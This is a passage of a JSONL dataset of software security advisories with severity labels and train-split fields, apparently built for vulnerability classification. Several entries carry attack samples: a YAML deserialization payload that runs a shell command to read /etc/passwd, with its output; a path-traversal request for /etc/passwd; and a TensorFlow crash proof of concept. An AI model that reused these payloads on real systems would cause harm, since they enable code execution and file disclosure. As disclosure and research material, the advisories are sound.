lunatic attack,” or FLA. The severity of this vulnerability is _moderate_. \n\nNote that an FLA cannot be successfully executed unless there are already ⅓+ Byzantine validators, and therefore outside of Tendermint’s security model; however, it is important to be able to detect and punish these kinds of attacks in order to incentivize correct behavior.\n\nIn an FLA, an attacking validator (with ⅓+ voting power) signs commit messages for arbitrary application state associated with a block height that hasn’t been seen yet, hence the name “forward lunatic attacks.” A malicious validator effectively executes a [lunatic attack](https://docs.tendermint.com/master/spec/light-client/accountability/#the-misbehavior-of-faulty-validators), but signs messages for a target block that is higher than the current block. This can be dangerous: Typically, misbehavior evidence is only created when there are conflicting blocks at the same height, but by targeting a block height that is far “ahead” of the current chain height, it’s possible that the chain will not produce a (conflicting) block at the target height in time to create evidence. \n\nPrior to Tendermint v0.34.9, the light client could accept a bad header from its primary witness, and would not be able to form evidence of this deception, even if all the secondary witnesses were correct. Because the light client is responsible for verifying cross-chain state for IBC, a successful FLA could result in loss of funds. However, it is important to note that FLAs are only possible outside the Tendermint security model. \n\nAll FLAs, attempted and successful, leave traces of provable misbehavior on-chain. A faulty header contains signatures from the faulty validator, and even in unpatched versions of Tendermint Core, networks could use social consensus (off-chain action) to recover the network. The patches introduced in Tendermint Core v0.34.9 handle all evidence automatically and on-chain. \n\nNote that this fix also allows for successful automatic reporting of FLAs, even after a chain halt. By adding a time to FetchBlock, light clients effectively have a backup way to determine if a halted chain should have continued, and it will be able to submit evidence as soon as the chain resumes. \n\n### Patches\nThis problem has been patched in Tendermint Core v0.34.9. \n\n### Workarounds\nThere are no workarounds. All users are recommended to upgrade to Tendermint Core v0.34.9 at their earliest possible convenience. \n\n### Credits\n\nThank you to @MaximilianDiez for originally surfacing this issue, and to @cmwaters, @josef-widder, and @milosevic for creating fixes at both the implementation and specification level.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [tendermint/tendermint](https://github.com/tendermint/tendermint)\n* Email us at [security@tendermint.com](mailto:security@tendermint.com)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-20", "split": "train"}
-{"id": "5d1de1f01307c411fb22", "text": "dotCMS 3.2.4 Multiple Vulnerabilities", "text_raw": "dotCMS 3.2.4 Multiple Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-12-08", "split": "train"}
-{"id": "b94712bbf5899b218320", "text": "Nameko Arbitrary code execution due to YAML deserialization\n\n### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.", "text_raw": "Nameko Arbitrary code execution due to YAML deserialization\n\n[Severity: CRITICAL]\n\n### Impact\n\nNameko can be tricked to perform arbitrary code execution when deserialising a YAML config file. Example:\n\n``` yaml\n# malicious.yaml\n!!python/object/new:type\nargs: ['z', !!python/tuple [], {'extend': !!python/name:exec }]\nlistitems: \"__import__('os').system('cat /etc/passwd')\"\n```\n\n``` shell\n$ nameko run --config malicious.yaml test\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\n... \n```\n\n### Patches\n\nThe problem was fixed in https://github.com/nameko/nameko/pull/722 and released in version 2.14.0, and in rc10 of the v3 pre-release.\n\nVersions prior to 2.14.0, and v3.0.0rc0 through v3.0.0rc9 are still vulnerable.\n\n### Workarounds\n\nThe vulnerability is exploited by config files with malicious content. It can be avoided by only using config files that you trust.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-10-19", "split": "train"}
-{"id": "84d02f5d93945f9ea455", "text": "Silent Configuration Failure in Puppet Agent\n\nA flaw was discovered in Puppet Agent where the agent may silently ignore Augeas settings or may be vulnerable to a Denial of Service condition prior to the first 'pluginsync'.", "text_raw": "Silent Configuration Failure in Puppet Agent\n\n[Severity: MEDIUM]\n\nA flaw was discovered in Puppet Agent where the agent may silently ignore Augeas settings or may be vulnerable to a Denial of Service condition prior to the first 'pluginsync'.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-02", "split": "train"}
-{"id": "37db7320c0fa11703f42", "text": "Prototype Pollution in backbone-query-parameters\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in backbone-query-parameters 0.4.0 allows a malicious user to inject properties into Object.prototype.", "text_raw": "Prototype Pollution in backbone-query-parameters\n\n[Severity: HIGH]\n\nImproperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in backbone-query-parameters 0.4.0 allows a malicious user to inject properties into Object.prototype.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "052ffc87961c52cc1acc", "text": "Total.js CMS 12.0.0 has XSS related to themes/admin/views/index.html (item.message) and themes/admin/public/ui.js (column.format).", "text_raw": "Moderate severity vulnerability that affects total.js\n\n[Severity: MEDIUM]\n\nTotal.js CMS 12.0.0 has XSS related to themes/admin/views/index.html (item.message) and themes/admin/public/ui.js (column.format).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-02", "split": "train"}
-{"id": "667a34444dc77d461a37", "text": "Bypass of fix for CVE-2020-26231, Twig sandbox escape\n\n### Impact\nA bypass of CVE-2020-26231 (fixed in 1.0.470/471 and 1.1.1) was discovered that has the same impact as CVE-2020-26231 & CVE-2020-15247:\n\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 472 (v1.0.472) and v1.1.2.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/f63519ff1e8d375df30deba63156a2fc97aa9ee7 to your installation manually if unable to upgrade to Build 472 or v1.1.2.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "text_raw": "Bypass of fix for CVE-2020-26231, Twig sandbox escape\n\n[Severity: MEDIUM]\n\n### Impact\nA bypass of CVE-2020-26231 (fixed in 1.0.470/471 and 1.1.1) was discovered that has the same impact as CVE-2020-26231 & CVE-2020-15247:\n\nAn authenticated backend user with the `cms.manage_pages`, `cms.manage_layouts`, or `cms.manage_partials` permissions who would **normally** not be permitted to provide PHP code to be executed by the CMS due to `cms.enableSafeMode` being enabled is able to write specific Twig code to escape the Twig sandbox and execute arbitrary PHP.\n\nThis is not a problem for anyone that trusts their users with those permissions to normally write & manage PHP within the CMS by not having `cms.enableSafeMode` enabled, but would be a problem for anyone relying on `cms.enableSafeMode` to ensure that users with those permissions in production do not have access to write & execute arbitrary PHP.\n\n### Patches\nIssue has been patched in Build 472 (v1.0.472) and v1.1.2.\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/f63519ff1e8d375df30deba63156a2fc97aa9ee7 to your installation manually if unable to upgrade to Build 472 or v1.1.2.\n\n### References\nReported by [ka1n4t](https://github.com/ka1n4t)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat assessment:\n<img width=\"1108\" alt=\"Screen Shot 2020-10-10 at 1 21 13 PM\" src=\"https://user-images.githubusercontent.com/7253840/95663316-7de28b80-0afb-11eb-999d-a6526cf78709.png\">", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-04", "split": "train"}
-{"id": "121db9c71cc9deff685a", "text": "activemodel contains Improper Input Validation\n\nActive Model in Ruby on Rails 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 supports the use of instance-level writers for class accessors, which allows remote attackers to bypass intended validation steps via crafted parameters.", "text_raw": "activemodel contains Improper Input Validation\n\n[Severity: MEDIUM]\n\nActive Model in Ruby on Rails 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 supports the use of instance-level writers for class accessors, which allows remote attackers to bypass intended validation steps via crafted parameters.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "652b3dc931bc6189e723", "text": "Arbitrary file read via window-open IPC in Electron\n\n### Impact\nThe vulnerability allows arbitrary local file read by defining unsafe window options on a child window opened via window.open.\n\n### Workarounds\nEnsure you are calling `event.preventDefault()` on all [`new-window`](https://electronjs.org/docs/api/web-contents#event-new-window) events where the `url` or `options` is not something you expect.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "text_raw": "Arbitrary file read via window-open IPC in Electron\n\n[Severity: MEDIUM]\n\n### Impact\nThe vulnerability allows arbitrary local file read by defining unsafe window options on a child window opened via window.open.\n\n### Workarounds\nEnsure you are calling `event.preventDefault()` on all [`new-window`](https://electronjs.org/docs/api/web-contents#event-new-window) events where the `url` or `options` is not something you expect.\n\n### Fixed Versions\n* `9.0.0-beta.21`\n* `8.2.4`\n* `7.2.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@electronjs.org](mailto:security@electronjs.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-07-07", "split": "train"}
-{"id": "a50d3c5b8302bba3632a", "text": "Withdrawn, accidental duplicate publish.\n\nmustache package before 2.2.1 for Node.js allows remote attackers to conduct cross-site scripting (XSS) attacks by leveraging a template with an attribute that is not quoted.", "text_raw": "Moderate severity vulnerability that affects mustache\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nmustache package before 2.2.1 for Node.js allows remote attackers to conduct cross-site scripting (XSS) attacks by leveraging a template with an attribute that is not quoted.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-09", "split": "train"}
-{"id": "0212c03bef8f4502812e", "text": "Malicious Package in axioss\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in axioss\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c9bb63a4b51f9cada441", "text": "Data races in rusb\n\nAffected versions of rusb did not require UsbContext to implement Send and Sync. However, through Device and DeviceHandle it is possible to use UsbContexts across threads. This issue allows non-thread safe UsbContext types to be used concurrently leading to data races and memory corruption. The issue was fixed by adding Send and Sync bounds to UsbContext.", "text_raw": "Data races in rusb\n\n[Severity: HIGH]\n\nAffected versions of rusb did not require UsbContext to implement Send and Sync. However, through Device and DeviceHandle it is possible to use UsbContexts across threads. This issue allows non-thread safe UsbContext types to be used concurrently leading to data races and memory corruption. The issue was fixed by adding Send and Sync bounds to UsbContext.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "8ddff00664187eb259e8", "text": "Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability\n\nAffected: Apache Solr\n\nThe Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Apache Solr VelocityResponseWriter Plug-In Remote Code Execution Vulnerability\n\nAffected: Apache Solr\n\nThe Apache Solr VelocityResponseWriter plug-in contains an unspecified vulnerability which can allow for remote code execution.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-74\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "9c51261d564f0c76e939", "text": "Pylons Colander Denial of Service vulnerability\n\nIn Pylons Colander through 1.6, the URL validator allows an attacker to potentially cause an infinite loop thereby causing a denial of service via an unclosed parenthesis.", "text_raw": "Pylons Colander Denial of Service vulnerability\n\n[Severity: HIGH]\n\nIn Pylons Colander through 1.6, the URL validator allows an attacker to potentially cause an infinite loop thereby causing a denial of service via an unclosed parenthesis.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-07", "split": "train"}
-{"id": "f994ac9937fafb67b2f2", "text": "jquey is malware\n\nThe `jquey` package is malware that attempts to discover and exfiltrate sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations.\n\nAll versions have been unpublished from the npm registry.\n\n## Recommendation\n\nIf you have found `jquey` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "text_raw": "jquey is malware\n\n[Severity: MEDIUM]\n\nThe `jquey` package is malware that attempts to discover and exfiltrate sensitive data such as a user's private SSH key and bash history, sending them to attacker controlled locations. \n\nAll versions have been unpublished from the npm registry.\n\n\n## Recommendation\n\nIf you have found `jquey` installed in your environment, you should:\n1. Delete the package\n2. Clear your npm cache\n3. Ensure it is not present in any other package.json files on your system\n4. Regenerate your SSH keys, registry credentials, tokens, and any other sensitive credentials that may have been present in your bash history.\n\nAdditionally, any service which may have been exposed via credentials in your bash history or accessible via your ssh keys, such as a database, should be reviewed for indicators of compromise as well.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-06", "split": "train"}
-{"id": "75e6ed0884eab8c4c593", "text": "Exposure of Sensitive Information to an Unauthorized Actor in TYPO3 CMS\n\n### Problem\nIn case an attacker manages to generate a valid cryptographic message authentication code (HMAC-SHA1) - either by using a different existing vulnerability or in case the internal _encryptionKey_ was exposed - it is possible to retrieve arbitrary files of a TYPO3 installation. This includes the possibility to fetch _typo3conf/LocalConfiguration.php_ which again contains the _encryptionKey_ as well as credentials of the database management system being used.\n\nIn case a database server is directly accessible either via internet or in a shared hosting network, this allows to completely retrieve, manipulate or delete database contents. This includes creating an administration user account - which can be used to trigger remote code execution by injecting custom extensions.\n\n### Solution\nUpdate to TYPO3 versions 9.5.20 or 10.4.6 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007)", "text_raw": "Exposure of Sensitive Information to an Unauthorized Actor in TYPO3 CMS\n\n[Severity: HIGH]\n\n> ### Meta\n> * CVSS: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:F/RL:O/RC:C` (7.5)\n> * CWE-20, CWE-200\n\n### Problem\nIn case an attacker manages to generate a valid cryptographic message authentication code (HMAC-SHA1) - either by using a different existing vulnerability or in case the internal _encryptionKey_ was exposed - it is possible to retrieve arbitrary files of a TYPO3 installation. This includes the possibility to fetch _typo3conf/LocalConfiguration.php_ which again contains the _encryptionKey_ as well as credentials of the database management system being used.\n\nIn case a database server is directly accessible either via internet or in a shared hosting network, this allows to completely retrieve, manipulate or delete database contents. This includes creating an administration user account - which can be used to trigger remote code execution by injecting custom extensions.\n\n### Solution\nUpdate to TYPO3 versions 9.5.20 or 10.4.6 that fix the problem described.\n\n### Credits\nThanks to TYPO3 security team member Oliver Hader who reported and fixed the issue.\n\n### References\n* [TYPO3-CORE-SA-2020-007](https://typo3.org/security/advisory/typo3-core-sa-2020-007)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-07-29", "split": "train"}
-{"id": "d7d1f1b3aa2844dd3ee5", "text": "jspdf vulnerable to Regular Expression Denial of Service (ReDoS)\n\nThis affects the package jspdf before 2.3.1. ReDoS is possible via the addImage function.", "text_raw": "jspdf vulnerable to Regular Expression Denial of Service (ReDoS)\n\n[Severity: HIGH]\n\nThis affects the package jspdf before 2.3.1. ReDoS is possible via the addImage function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "03380bc5851bc11c4ac0", "text": "Directory Traversal in whispercast\n\nAffected versions of `whispercast` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "text_raw": "Directory Traversal in whispercast\n\n[Severity: HIGH]\n\nAffected versions of `whispercast` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.\n\n**Example request:**\n```http\nGET /../../../../../../../../../../etc/passwd HTTP/1.1\nhost:foo\n```\n\n\n## Recommendation\n\nNo patch is available for this vulnerability.\n\nIt is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "6051e344936fda11d25b", "text": "Security issues in AWS KMS and AWS Encryption SDKs: in-band protocol negotiation and robustness\n\nAuthors: Thai \"[thaidn](https://twitter.com/xorninja)\" Duong\n\n# Summary\n\nThe following security vulnerabilities was discovered and reported to Amazon, affecting AWS KMS and all versions of [AWS Encryption SDKs](https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/introduction.html) prior to version 2.0.0:\n\n* **Information leakage**: an attacker can create ciphertexts that would leak the user’s AWS account ID, encryption context, user agent, and IP address upon decryption\n* **Ciphertext forgery**: an attacker can create ciphertexts that are accepted by other users\n* **Robustness**: an attacker can create ciphertexts that decrypt to different plaintexts for different users\n\nThe first two bugs are somewhat surprising because they show that the ciphertext format can lead to vulnerabilities. These bugs (and the infamous [alg: \"None\"](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) bugs in JWT) belong to a class of vulnerabilities called **in-band protocol negotiation**. This is the second time we’ve found in-band protocol negotiation vulnerabilities in AWS cryptography libraries; see this [bug](https://github.com/google/security-research/security/advisories/GHSA-7f33-f4f5-xwgw) in S3 Crypto SDK discovered by my colleague Sophie Schmieg.\n\nIn JWT and S3 SDK the culprit is the algorithm field—here it is the key ID. Because the key ID is used to determine which decryption key to use, it can’t be meaningfully authenticated despite being under the attacker’s control. If the key ID is a URL indicating where to fetch the key, the attacker can replace it with their own URL, and learn side-channel information such as the timing and machines on which the decryption happens (this can also lead to [SSRF](https://portswigger.net/web-security/ssrf) issues, but that’s another topic for another day).\n\nIn AWS, the key ID is a unique [Amazon Resource Name](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html). If an attacker were to capture a ciphertext from a user and replace its key ID with their own, the victim’s AWS account ID, encryption context, user agent, and IP address would be logged to the attacker’s AWS account whenever the victim attempted to decrypt the modified ciphertext.\n\nThe last bug shows that the non-committing property of AES-GCM (and other AEAD ciphers such as [AES-GCM-SIV](https://keymaterial.net/2020/09/07/invisible-salamanders-in-aes-gcm-siv/) or (X)ChaCha20Poly1305) is especially problematic in multi-recipient settings. These ciphers have a property that can cause nonidentical plaintexts when decrypting a single ciphertext with two different keys! For example, you can send a single encrypted email to Alice and Bob which, upon decryption, reads “attack” to Alice and “retreat” to Bob. The AWS Encryption SDKs are vulnerable to this attack because they allow a single ciphertext to be generated for multiple recipients, with each decrypting using a different key. I believe this kind of problem is prevalent. I briefly looked at [JWE](https://tools.ietf.org/html/rfc7516) and I think it is vulnerable.\n\n# Mitigations\n\nAmazon has fixed these bugs in release 2.0.0 of the SDKs. A new major version was required because, unfortunately, the fix for the last bug requires a breaking change from earlier versions. All users are recommended to upgrade. More details about Amazon’s mitigations can be found in [their announcement](https://aws.amazon.com/blogs/security/improved-client-side-encryption-explicit-keyids-and-key-commitment/).\n\nWe’re collaborating with Shay Gueron on a paper regarding fast committing AEADs.\n\n# Vulnerabilities\n\n## Information Leakage\n\nThe [Encrypt](https://docs.aws.amazon.com/kms/latest/APIReference/API_Encrypt.html) API in AWS KMS encrypts plaintext into ciphertext by using a customer master key (CMK). The ciphertext format is undocumented, but it contains metadata that specifies the CMK and the encryption algorithm. I reverse-engineered the format and foun", "text_raw": "Security issues in AWS KMS and AWS Encryption SDKs: in-band protocol negotiation and robustness\n\n[Severity: HIGH]\n\nAuthors: Thai \"[thaidn](https://twitter.com/xorninja)\" Duong\n\n# Summary\n\nThe following security vulnerabilities was discovered and reported to Amazon, affecting AWS KMS and all versions of [AWS Encryption SDKs](https://docs.aws.amazon.com/encryption-sdk/latest/developer-guide/introduction.html) prior to version 2.0.0:\n\n* **Information leakage**: an attacker can create ciphertexts that would leak the user’s AWS account ID, encryption context, user agent, and IP address upon decryption\n* **Ciphertext forgery**: an attacker can create ciphertexts that are accepted by other users\n* **Robustness**: an attacker can create ciphertexts that decrypt to different plaintexts for different users\n\nThe first two bugs are somewhat surprising because they show that the ciphertext format can lead to vulnerabilities. These bugs (and the infamous [alg: \"None\"](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/) bugs in JWT) belong to a class of vulnerabilities called **in-band protocol negotiation**. This is the second time we’ve found in-band protocol negotiation vulnerabilities in AWS cryptography libraries; see this [bug](https://github.com/google/security-research/security/advisories/GHSA-7f33-f4f5-xwgw) in S3 Crypto SDK discovered by my colleague Sophie Schmieg.\n\nIn JWT and S3 SDK the culprit is the algorithm field—here it is the key ID. Because the key ID is used to determine which decryption key to use, it can’t be meaningfully authenticated despite being under the attacker’s control. If the key ID is a URL indicating where to fetch the key, the attacker can replace it with their own URL, and learn side-channel information such as the timing and machines on which the decryption happens (this can also lead to [SSRF](https://portswigger.net/web-security/ssrf) issues, but that’s another topic for another day).\n\nIn AWS, the key ID is a unique [Amazon Resource Name](https://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html). If an attacker were to capture a ciphertext from a user and replace its key ID with their own, the victim’s AWS account ID, encryption context, user agent, and IP address would be logged to the attacker’s AWS account whenever the victim attempted to decrypt the modified ciphertext.\n\nThe last bug shows that the non-committing property of AES-GCM (and other AEAD ciphers such as [AES-GCM-SIV](https://keymaterial.net/2020/09/07/invisible-salamanders-in-aes-gcm-siv/) or (X)ChaCha20Poly1305) is especially problematic in multi-recipient settings. These ciphers have a property that can cause nonidentical plaintexts when decrypting a single ciphertext with two different keys! For example, you can send a single encrypted email to Alice and Bob which, upon decryption, reads “attack” to Alice and “retreat” to Bob. The AWS Encryption SDKs are vulnerable to this attack because they allow a single ciphertext to be generated for multiple recipients, with each decrypting using a different key. I believe this kind of problem is prevalent. I briefly looked at [JWE](https://tools.ietf.org/html/rfc7516) and I think it is vulnerable.\n\n# Mitigations\n\nAmazon has fixed these bugs in release 2.0.0 of the SDKs. A new major version was required because, unfortunately, the fix for the last bug requires a breaking change from earlier versions. All users are recommended to upgrade. More details about Amazon’s mitigations can be found in [their announcement](https://aws.amazon.com/blogs/security/improved-client-side-encryption-explicit-keyids-and-key-commitment/).\n\nWe’re collaborating with Shay Gueron on a paper regarding fast committing AEADs.\n\n# Vulnerabilities\n\n## Information Leakage\n\nThe [Encrypt](https://docs.aws.amazon.com/kms/latest/APIReference/API_Encrypt.html) API in AWS KMS encrypts plaintext into ciphertext by using a customer master key (CMK). The ciphertext format is undocumented, but it contains metadata that specifies the CMK and the encryption algorithm. I reverse-engineered t", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "3b554eb111217a903273", "text": "Eclipse RDF4j vulnerable to XML External Entity\n\nEclipse RDF4j version < 2.4.0 Milestone 2 contains a XML External Entity (XXE) vulnerability in RDF4j XML parser parsing RDF files that can result in the disclosure of confidential data, denial of service, server side request forgery, port scanning. This attack appear to be exploitable via Specially crafted RDF file.", "text_raw": "Eclipse RDF4j vulnerable to XML External Entity\n\n[Severity: CRITICAL]\n\nEclipse RDF4j version < 2.4.0 Milestone 2 contains a XML External Entity (XXE) vulnerability in RDF4j XML parser parsing RDF files that can result in the disclosure of confidential data, denial of service, server side request forgery, port scanning. This attack appear to be exploitable via Specially crafted RDF file.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-19", "split": "train"}
-{"id": "0cf3081cde3cf7ba1aeb", "text": "eXV² Content Management System 2.10 Remote XSS Vulnerability", "text_raw": "eXV² Content Management System 2.10 Remote XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2010-10-15", "split": "train"}
-{"id": "251ea496fd7e52f91e77", "text": "Withdrawn, accidental duplicate publish.\n\nactiverecord/lib/active_record/nested_attributes.rb in Active Record in Ruby on Rails 3.1.x and 3.2.x before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly implement a certain destroy option, which allows remote attackers to bypass intended change restrictions by leveraging use of the nested attributes feature.", "text_raw": "Moderate severity vulnerability that affects activerecord\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\n\nactiverecord/lib/active_record/nested_attributes.rb in Active Record in Ruby on Rails 3.1.x and 3.2.x before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 does not properly implement a certain destroy option, which allows remote attackers to bypass intended change restrictions by leveraging use of the nested attributes feature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-17", "split": "train"}
-{"id": "5c3543d771f0dd7287a1", "text": "Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution", "text_raw": "Mango Automation 2.6.0 CSRF File Upload And Arbitrary JSP Code Execution\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2015-09-26", "split": "train"}
-{"id": "d42d3324da432c6cf6b7", "text": "Integer Overflow in png-img\n\nAn integer overflow in the PngImg::InitStorage_() function of png-img before 3.1.0 leads to an under-allocation of heap memory and subsequently an exploitable heap-based buffer overflow when loading a crafted PNG file.", "text_raw": "Integer Overflow in png-img\n\n[Severity: HIGH]\n\nAn integer overflow in the PngImg::InitStorage_() function of png-img before 3.1.0 leads to an under-allocation of heap memory and subsequently an exploitable heap-based buffer overflow when loading a crafted PNG file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "c4b66cf072d4f7b5df68", "text": "Heap OOB and null pointer dereference in `RaggedTensorToTensor`\n\n### Impact\nDue to lack of validation in `tf.raw_ops.RaggedTensorToTensor`, an attacker can exploit an undefined behavior if input arguments are empty:\n\n```python\nimport tensorflow as tf\n\nshape = tf.constant([-1, -1], shape=[2], dtype=tf.int64)\nvalues = tf.constant([], shape=[0], dtype=tf.int64)\ndefault_value = tf.constant(404, dtype=tf.int64)\nrow = tf.constant([269, 404, 0, 0, 0, 0, 0], shape=[7], dtype=tf.int64)\nrows = [row]\ntypes = ['ROW_SPLITS']\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=shape, values=values, default_value=default_value, \n  row_partition_tensors=rows, row_partition_types=types)\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L356-L360) only checks that one of the tensors is not empty, but does not check for the other ones.\n\nThere are multiple `DCHECK` validations to prevent heap OOB, but these are no-op in release builds, hence they don't prevent anything.\n\n### Patches\nWe have patched the issue in GitHub commit [b761c9b652af2107cfbc33efd19be0ce41daa33e](https://github.com/tensorflow/tensorflow/commit/b761c9b652af2107cfbc33efd19be0ce41daa33e) followed by GitHub commit [f94ef358bb3e91d517446454edff6535bcfe8e4a](https://github.com/tensorflow/tensorflow/commit/f94ef358bb3e91d517446454edff6535bcfe8e4a) 